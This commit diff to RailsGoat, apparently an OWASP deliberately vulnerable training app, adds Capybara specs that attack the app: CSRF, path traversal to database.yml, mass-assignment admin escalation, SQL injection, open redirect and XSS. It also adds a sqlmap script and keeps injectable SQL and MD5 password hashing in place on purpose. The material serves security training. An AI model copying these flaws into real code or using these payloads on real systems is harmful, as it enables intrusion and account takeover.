change to the user model based on a merge with master. Master is the correct code

.rspec

@@ -1 +1,2 @@
 --color
+--backtrace

.travis.yml

@@ -1,4 +1,5 @@
 language: ruby
 rvm:
   - "1.9.3"
-before_script: rake db:migrate
+before_script: rake db:setup
+env: RAILSGOAT_MAINTAINER=true

Gemfile

@@ -25,8 +25,9 @@ end
 gem 'gauntlt'
 
 group :development, :test do
+  gem 'launchy'
   gem 'capybara'
-  gem 'database_cleaner'
+  gem 'database_cleaner', '< 1.1.0'
   gem 'poltergeist'
   gem 'rspec-rails'
 end

Gemfile.lock

@@ -28,6 +28,7 @@ GEM
     activesupport (3.2.13)
       i18n (= 0.6.1)
       multi_json (~> 1.0)
+    addressable (2.3.5)
     arel (3.0.2)
     aruba (0.5.3)
       childprocess (>= 0.3.6)
@@ -70,7 +71,7 @@ GEM
       diff-lcs (>= 1.1.3)
       gherkin (~> 2.12.0)
       multi_json (~> 1.3)
-    database_cleaner (1.1.1)
+    database_cleaner (1.0.1)
     diff-lcs (1.2.4)
     em-websocket (0.5.0)
       eventmachine (>= 0.12.9)
@@ -124,6 +125,8 @@ GEM
       thor (>= 0.14, < 2.0)
     json (1.7.7)
     kgio (2.8.0)
+    launchy (2.3.0)
+      addressable (~> 2.3)
     libv8 (3.16.14.3)
     listen (0.7.3)
     lumberjack (1.0.3)
@@ -172,7 +175,7 @@ GEM
       rdoc (~> 3.4)
       thor (>= 0.14.6, < 2.0)
     raindrops (0.10.0)
-    rake (10.0.4)
+    rake (10.1.0)
     rb-fsevent (0.9.3)
     rdoc (3.12.2)
       json (~> 1.4)
@@ -248,7 +251,7 @@ DEPENDENCIES
   bundler-audit
   capybara
   coffee-rails (~> 3.2.1)
-  database_cleaner
+  database_cleaner (< 1.1.0)
   execjs
   foreman
   gauntlt
@@ -258,6 +261,7 @@ DEPENDENCIES
   guard-shell
   jquery-fileupload-rails
   jquery-rails
+  launchy
   poltergeist
   powder
   pry

README.md

@@ -5,13 +5,11 @@
 
 	cd railsgoat
 
-	rvm use 1.9.3@railsgoat --create
+	rvm use 1.9.3@railsgoat --create # https://rvm.io/
 
 	bundle
 
-	rake db:create
+	rake db:setup
-
-	rake db:migrate
 
 	rails s
 
@@ -19,7 +17,24 @@
 
 	Start hacking!!!
 
+### Running Capybara Tests ###
+
+RailsGoat now includes a set of _failing_ Capybara RSpecs, each one indicating a separate vulnerability exists
+in the application.
+
+To run them, though, you'll first need to [install PhantomJS](https://github.com/jonleighton/poltergeist#installing-phantomjs),
+which is required by the Poltergeist Capybara driver. Then just rake:
+
+  rake training
+
+NOTE: As vulnerabilities are fixed in the application, these specs won't change from to passing but to _pending_.
+
 ### Developer Note ###
+
+As changes are made to the application, the Capybara RSpecs can be used to verify the vulnerabilities
+in the application are still intact. To use them in this way, and have them _pass_ instead of fail,
+set the `RAILSGOAT_MAINTAINER` environment variable.
+
 <p/>
 Conversion to the OWASP Top 10, 2013 is under way. 
 
@@ -34,6 +49,8 @@ Then proceed with browsing the site as normal :thumbsup:
 
 [![Code Climate](https://codeclimate.com/github/OWASP/railsgoat.png)](https://codeclimate.com/github/OWASP/railsgoat)
 
+[![Build Status](https://travis-ci.org/mccabe615/railsgoat.png?branch=master)](https://travis-ci.org/mccabe615/railsgoat)
+
 ### License Stuff ###
 
 The MIT License (MIT)

app/controllers/users_controller.rb

@@ -15,7 +15,8 @@ class UsersController < ApplicationController
       redirect_to home_dashboard_index_path
     else
       @user = user
-      render :new
+      flash[:error] = user.errors.full_messages.to_sentence
+      redirect_to :sign_up
     end
   end
 
@@ -32,15 +33,23 @@ class UsersController < ApplicationController
     #user = User.find(:first, :conditions => ["user_id = ?", "#{params[:user][:user_id]}"])
 
     user = User.find(:first, :conditions => "user_id = '#{params[:user][:user_id]}'")
+    if user
       user.skip_user_id_assign = true
+      user.skip_hash_password = true
       user.update_attributes(params[:user].reject { |k| %w(password password_confirmation user_id).include? k })
-    pass = params[:user][:password]
+      if !(params[:user][:password].empty?) && (params[:user][:password] == params[:user][:password_confirmation])
-    user.password = pass if !(pass.blank?)
+        user.skip_hash_password = false
+        user.password = params[:user][:password]
+      end
       message = true if user.save!
       respond_to do |format|
         format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
         format.json { render :json => {:msg => message ? "success" : "false "} }
       end
+    else
+      flash[:error] = "Could not update user!"
+      redirect_to user_account_settings_path(:user_id => current_user.user_id)
+    end
   end
 
 end

app/models/user.rb

@@ -1,15 +1,16 @@
 class User < ActiveRecord::Base
-  attr_accessible :email, :password, :admin, :password_confirmation, :first_name, :last_name
+  attr_accessible :email, :admin, :first_name, :last_name, :user_id, :password, :password_confirmation
-  validates_confirmation_of :password, :password_confirmation, :on => :create
   validates :password, :presence => true,
                        :confirmation => true,
                        :length => {:within => 6..40},
-                       :on => :create#,
+                       :on => :create,
+                       :if => :password#,
                        #:format => {:with => /\A.*(?=.{10,})(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[\@\#\$\%\^\&\+\=]).*\z/}
   validates_presence_of :email
   validates_uniqueness_of :email
   validates_format_of :email, :with => /.+@.+\..+/i
   attr_accessor :skip_user_id_assign
+  attr_accessor :skip_hash_password
   before_save :assign_user_id, :on => :create
   before_save :hash_password
   has_one :retirement, :foreign_key => :user_id, :primary_key => :user_id, :dependent => :destroy
@@ -18,6 +19,7 @@ class User < ActiveRecord::Base
   has_many :performance, :foreign_key => :user_id, :primary_key => :user_id, :dependent => :destroy
 
 
+
   def build_benefits_data
     build_retirement(POPULATE_RETIREMENTS.shuffle.first)
     build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first)
@@ -66,9 +68,11 @@ class User < ActiveRecord::Base
   end
   
   def hash_password
-    if self.password.present?
+    unless @skip_hash_password == true
+      if password.present?
         self.password = Digest::MD5.hexdigest(password)
       end
     end
+  end
 
 end

db/seeds.rb

@@ -7,6 +7,7 @@ users = [
        :email => "admin@metacorp.com", 
        :admin => true, 
        :password => "admin1234", 
+       :password_confirmation => "admin1234", 
        :first_name => "Admin", 
        :last_name => "", 
        :user_id =>1 
@@ -15,6 +16,7 @@ users = [
        :email => "jack@metacorp.com", 
        :admin => false, 
        :password => "yankeessuck", 
+       :password_confirmation => "yankeessuck", 
        :first_name => "Jack", 
        :last_name => "Mannino", 
        :user_id => 2
@@ -23,6 +25,7 @@ users = [
        :email => "jim@metacorp.com", 
        :admin => false, 
        :password => "alohaowasp", 
+       :password_confirmation => "alohaowasp", 
        :first_name => "Jim", 
        :last_name => "Manico", 
        :user_id =>3 
@@ -31,6 +34,7 @@ users = [
        :email => "mike@metacorp.com", 
        :admin => false, 
        :password => "motorcross1445", 
+       :password_confirmation => "motorcross1445", 
        :first_name => "Mike", 
        :last_name => "McCabe", 
        :user_id =>4 
@@ -39,6 +43,7 @@ users = [
        :email => "ken@metacorp.com", 
        :admin => false, 
        :password => "citrusblend", 
+       :password_confirmation => "citrusblend", 
        :first_name => "Ken", 
        :last_name => "Johnson", 
        :user_id =>5 
@@ -233,7 +238,7 @@ paid_time_off = [
 
 
 users.each do |user_info|
-  user = User.new(user_info.reject {|k| k == :user_id})
+  user = User.new(user_info.reject {|k| k == :user_id })
   user.user_id = user_info[:user_id]
   user.save
 end

gauntlt_scripts/sqlmap.attack

@@ -0,0 +1,17 @@
+#sqlmap.attack
+Feature: Run sqlmap against a target
+  # See:
+  #   https://github.com/sqlmapproject/sqlmap/wiki/Usage
+
+  Scenario: Identify SQL injection vulnerabilities
+  	Given "sqlmap" is installed
+  	And the following profile:
+    	| target_url  | http://localhost:300/|
+  	When I launch a "sqlmap" attack with:
+    	"""
+    	/usr/bin/python <sqlmap_path> -u <target_url> --dbms sqlite
+    	"""
+  	Then the output should contain:
+    	"""
+    	sqlmap identified the following injection points
+    	"""

lib/tasks/traning.rake

@@ -0,0 +1,4 @@
+desc 'run training tests'
+task :training do
+  Rake::Task["spec:vulnerabilities"].invoke
+end

spec/models/benefits_spec.rb

@@ -1 +0,0 @@
-require 'spec_helper'

spec/models/paid_time_off_spec.rb

@@ -1,14 +0,0 @@
-require 'spec_helper.rb'
-=begin
-describe "PaidTimeOff" do
-	user = User.new(
-	first_name: 'Tester',
-	last_name: 'MGee',
-	email: 'tester.mgee@gmail.com',
-	password: 'password',
-	password_confirmation: 'password'
-	)
-	expect(user).to be_valid
-end
-
-=end

spec/models/user_spec.rb

@@ -1,6 +1,15 @@
 require 'spec_helper.rb'
 
 describe User do
+  before(:all) do
+    UserFixture.reset_all_users
+    DatabaseCleaner.strategy = :transaction
+  end
+
+  after(:all) do
+    DatabaseCleaner.strategy = :truncation
+  end
+
 	it "can be instantiated" do
 		User.new.should be_an_instance_of(User)
 	end
@@ -10,7 +19,7 @@ describe User do
 	end
 
 	it "should require valid email" do
-		User.new(:email => "tester@gmail.com@gmail.com").should_not be_valid
+		User.new(:email => "@gmail.com").should_not be_valid
 	end
 
 	it "should require unique email" do

spec/support/capybara_shared.rb

@@ -1,3 +1,40 @@
+# By default this will return true, and thus all of the Capybara specs will
+# fail until a developer using the site for training has patched up all of
+# the vulnerabilities.
+#
+# However, RailsGoat maintainers need the Capybara features to pass to indicate
+# changes to the site have not inadvertently removed or fixed any vulnerabilities
+# since the whole point is to provide a site for a developer to fix.
+@@displayed_spec_notice = false
+
+def verifying_fixed?
+  maintainer_env_name = 'RAILSGOAT_MAINTAINER'
+  result = !ENV[maintainer_env_name]
+  if !@@displayed_spec_notice && result
+    puts <<-NOTICE
+
+******************************************************************************
+  You are running the RailsGoat Capybara Specs in Training mode. These specs
+  are supposed to fail, indicating vulnerabilities exist. They contain
+  spoilers, so do not read the code in spec/vulnerabilities if your goal is to
+  learn more about patching the vulnerabilities. You should fix the
+  vulnerabilities in the application in order to get these specs to pass**.
+  You can use them to measure your progress.
+
+  These same specs will pass if you set the #{maintainer_env_name} ENV
+  variable.
+
+  **NOTE: The RSpec pending feature is used to toggle the outcome of these
+  specs between Training mode and RailsGoat Maintainer mode, so when the
+  vulnerabilities are removed, these specs actually won't 'pass' but go into
+  a 'pending' state.
+******************************************************************************
+    NOTICE
+    @@displayed_spec_notice = true
+  end
+  result
+end
+
 def login(user)
   visit '/'
   within('.signup') do

spec/vulnerabilities/broken_auth_spec.rb

@@ -6,20 +6,23 @@ feature 'broken_auth' do
     @normal_user = UserFixture.normal_user
   end
 
-  scenario 'TMI during login', :js => true do
+  scenario 'one' do
     visit '/'
     within('.signup') do
       fill_in 'email', :with => @normal_user.email + 'not'
       fill_in 'password', :with => @normal_user.clear_password
     end
     click_on 'Login'
-    find('div#flash_notice').text.should == "#{@normal_user.email}not doesn't exist!"
+    pending(:if => verifying_fixed?) { find('div#flash_notice').text.should == "#{@normal_user.email}not doesn't exist!" }
+  end
 
+  scenario 'two' do
+    visit '/'
     within('.signup') do
       fill_in 'email', :with => @normal_user.email
       fill_in 'password', :with => @normal_user.clear_password + 'not'
     end
     click_on 'Login'
-    find('div#flash_notice').text.should == 'Incorrect Password!'
+    pending(:if => verifying_fixed?) { find('div#flash_notice').text.should == 'Incorrect Password!' }
   end
 end

spec/vulnerabilities/command_injection_spec.rb

@@ -7,8 +7,8 @@ feature 'command injection' do
     @normal_user = UserFixture.normal_user
   end
 
-  scenario 'injection attack on file upload', :js => true do
+  scenario 'attack', :js => true do
-    login(@normal_user)
+    login @normal_user
 
     legit_file = File.join(Rails.root, 'public', 'data', 'legit.txt')
     File.open(legit_file, 'w') { |f| f.puts 'totes legit' }
@@ -21,10 +21,8 @@ feature 'command injection' do
         attach_file 'benefits_upload', hackety_file
         find(:xpath, "//input[@id='benefits_backup']", :visible => false).set 'true'
       end
-      save_screenshot('screenshot.before.upload.png')
       click_on 'Start Upload'
     end
-    save_screenshot('screenshot.after.upload.png')
+    pending(:if => verifying_fixed?) { File.exists?(legit_file).should be_false }
-    File.exists?(legit_file).should be_false
   end
 end

spec/vulnerabilities/csrf_spec.rb

@@ -0,0 +1,44 @@
+require 'spec_helper'
+require 'tmpdir'
+
+feature 'csrf' do
+  before do
+    UserFixture.reset_all_users
+    @normal_user = UserFixture.normal_user
+  end
+
+  scenario 'attack', :js => true do
+    visit '/'
+    # TODO: is there a way to get this without visiting root first?
+    base_url = current_url
+
+    login @normal_user
+
+    Dir.mktmpdir do |dir|
+      hackety_file = File.join(dir, 'form.on.bad.guy.site.html')
+      post_url = "#{base_url}schedule.json"
+      File.open(hackety_file, 'w') do |f|
+        f.print <<-HTML
+        <html>
+          <body>
+            <form id='submit_me' action="#{post_url}" method="POST">
+              <input type="hidden" name="schedule&#91;event&#95;name&#93;" value="Bad&#32;Guy" />
+              <input type="hidden" name="schedule&#91;event&#95;type&#93;" value="pto" />
+              <input type="hidden" name="schedule&#91;event&#95;desc&#93;" value="Fun&#32;Fun" />
+              <input type="hidden" name="date&#95;range1" value="06&#47;08&#47;2013&#32;&#45;&#32;06&#47;09&#47;2013" />
+              <input type="submit" value="Submit request" />
+            </form>
+          </body>
+        </html>
+        HTML
+      end
+
+      page.driver.visit "file://#{hackety_file}"
+      within('#submit_me') do
+        click_on 'Submit request'
+      end
+    end
+
+    pending(:if => verifying_fixed?) { @normal_user.reload.paid_time_off.schedule.last.event_name.should == 'Bad Guy' }
+  end
+end

spec/vulnerabilities/info_disclosure_spec.rb

@@ -0,0 +1,18 @@
+require 'spec_helper'
+
+feature 'sensitive information disclosure' do
+  before do
+    UserFixture.reset_all_users
+    @normal_user = UserFixture.normal_user
+    @normal_user.work_info.update_attribute(:SSN, '999-99-9999')
+  end
+
+  # this won't work with javascript_driver, as it'll apply the javascript
+  # function to mask this value and the source will be overwritten.
+  scenario 'attack' do
+    login @normal_user
+
+    visit "/users/#{@normal_user.user_id}/work_info"
+    pending(:if => verifying_fixed?) { page.source.should include '999-99-9999' }
+  end
+end

spec/vulnerabilities/insecure_dor_spec.rb

@@ -6,24 +6,26 @@ feature 'insecure direct object reference' do
     @normal_user = UserFixture.normal_user
   end
 
-  scenario 'download production configuration' do
+  scenario 'attack one' do
     login(@normal_user)
 
     visit "/users/#{@normal_user.user_id}/benefit_forms"
     download_url = first('.widget-body a')[:href]
     visit download_url.sub(/name=(.*?)&/, 'name=../../config/database.yml&')
 
+    pending(:if => verifying_fixed?) {
       page.status_code.should == 200
       page.response_headers['Content-Disposition'].should include('database.yml')
       page.response_headers['Content-Length'].should == '576'
+    }
   end
 
-  scenario 'view any user work_info' do
+  scenario 'attack two' do
     login(@normal_user)
 
     @normal_user.user_id.should_not == 2
     visit '/users/2/work_info'
 
-    first('td').text.should == 'Jack Mannino'
+    pending(:if => verifying_fixed?) { first('td').text.should == 'Jack Mannino' }
   end
 end

spec/vulnerabilities/mass_assignment_spec.rb

@@ -0,0 +1,37 @@
+require 'spec_helper'
+
+feature 'mass assignment' do
+  before do
+    UserFixture.reset_all_users
+    @normal_user = UserFixture.normal_user
+  end
+
+  scenario 'attack one' do
+    @normal_user.admin.should be_false
+
+    login(@normal_user)
+
+    params = {:user => {:admin => 't',
+                        :user_id => @normal_user.user_id,
+                        :password => @normal_user.clear_password,
+                        :password_confirmation => @normal_user.clear_password}}
+    page.driver.put "/users/#{@normal_user.user_id}.json", params
+
+    pending(:if => verifying_fixed?) { @normal_user.reload.admin.should be_true }
+  end
+
+  scenario 'attack two' do
+    params = {:user => {:admin => 't',
+                        :email => 'hackety@h4x0rs.c0m',
+                        :first_name => 'hackety',
+                        :last_name => 'hax',
+                        :password => 'foobarewe',
+                        :password_confirmation => 'foobarewe'}}
+    page.driver.post '/users', params
+
+    pending(:if => verifying_fixed?) {
+      User.last.email.should == 'hackety@h4x0rs.c0m'
+      User.last.admin.should be_true
+    }
+  end
+end

spec/vulnerabilities/password_complexity_spec.rb

@@ -0,0 +1,21 @@
+require 'spec_helper'
+
+feature 'password complexity' do
+  before do
+    UserFixture.reset_all_users
+    @normal_user = UserFixture.normal_user
+  end
+
+  scenario 'one' do
+    visit '/signup'
+    within('.signup') do
+      fill_in 'user_email', :with => @normal_user.email + 'not'
+      fill_in 'user_first_name', :with => @normal_user.first_name
+      fill_in 'user_last_name', :with => @normal_user.last_name + 'not'
+      fill_in 'user_password', :with => 'password'
+      fill_in 'user_password_confirmation', :with => 'password'
+    end
+    click_on 'Submit'
+    pending(:if => verifying_fixed?) {current_path.should == '/dashboard/home'}
+  end
+end

spec/vulnerabilities/password_hashing_spec.rb

@@ -0,0 +1,25 @@
+require 'spec_helper'
+
+feature 'improper password hashing' do
+  before do
+    UserFixture.reset_all_users
+    @normal_user = UserFixture.normal_user
+  end
+
+  scenario 'with just md5' do
+    new_pass = 'testpassword'
+    @normal_user.password = new_pass
+    @normal_user.password_confirmation = new_pass
+    @normal_user.save
+    pending(:if => verifying_fixed?) {Digest::MD5.hexdigest(new_pass).should == @normal_user.password}
+  end
+
+  scenario 'with md5 and salt' do
+    pending unless @normal_user.has_attribute?('salt')
+    new_pass = 'testpassword'
+    @normal_user.password = new_pass
+    @normal_user.password_confirmation = new_pass
+    @normal_user.save
+    pending(:if => verifying_fixed?) {Digest::MD5.hexdigest(@normal_user.salt + new_pass).should == @normal_user.password}
+  end
+end

spec/vulnerabilities/sql_injection_spec.rb

@@ -7,7 +7,7 @@ feature 'sql injection' do
     @admin_user = User.where("admin='t'").first
   end
 
-  scenario 'injection attack on account_settings' do
+  scenario 'attack' do
     @admin_user.admin.should be_true
 
     login(@normal_user)
@@ -23,8 +23,10 @@ feature 'sql injection' do
     end
     click_on 'Submit'
 
+    pending(:if => verifying_fixed?) {
       @admin_user = User.where("admin='t'").first
       @admin_user.email.should == 'joe.admin@schmoe.com'
       @admin_user.admin.should == true
+    }
   end
 end

spec/vulnerabilities/unvalidated_redirects_spec.rb

@@ -0,0 +1,19 @@
+require 'spec_helper'
+
+feature 'unvalidated redirect' do
+  before do
+    UserFixture.reset_all_users
+    @normal_user = UserFixture.normal_user
+  end
+
+  scenario 'attack', :js => true do
+    visit '/?url=http://example.com/do/evil/things'
+    within('.signup') do
+      fill_in 'email', :with => @normal_user.email
+      fill_in 'password', :with => @normal_user.clear_password
+    end
+    click_on 'Login'
+
+    pending(:if => verifying_fixed?) { current_url.should == 'http://example.com/do/evil/things' }
+  end
+end

spec/vulnerabilities/url_access_spec.rb

@@ -0,0 +1,15 @@
+require 'spec_helper'
+
+feature 'url access' do
+  before do
+    UserFixture.reset_all_users
+    @normal_user = UserFixture.normal_user
+  end
+
+  scenario 'attack', :js => true do
+    login @normal_user
+
+    visit '/admin/1/dashboard'
+    pending(:if => verifying_fixed?) { current_path.should == '/admin/1/dashboard' }
+  end
+end

spec/vulnerabilities/xss_spec.rb

@@ -6,7 +6,7 @@ feature 'xss' do
     @normal_user = UserFixture.normal_user
   end
 
-  scenario 'xss attack on account_settings', :js => true do
+  scenario 'attack', :js => true do
     login @normal_user
 
     visit "/users/#{@normal_user.user_id}/account_settings"
@@ -18,11 +18,10 @@ feature 'xss' do
       fill_in 'user_password_confirmation', :with => @normal_user.clear_password
     end
     click_on 'Submit'
-    save_screenshot('screenshot.post.submit.png')
 
     visit '/'
 
-    find('form.button_to input.btn.btn-primary').value.should == 'RailsGoat h4x0r3d'
+    pending(:if => verifying_fixed?) { find('form.button_to input.btn.btn-primary').value.should == 'RailsGoat h4x0r3d' }
 
     # might be nice to demonstrate posting cookie contents or somesuch, but
     # this at least shows the vulnerability still exists.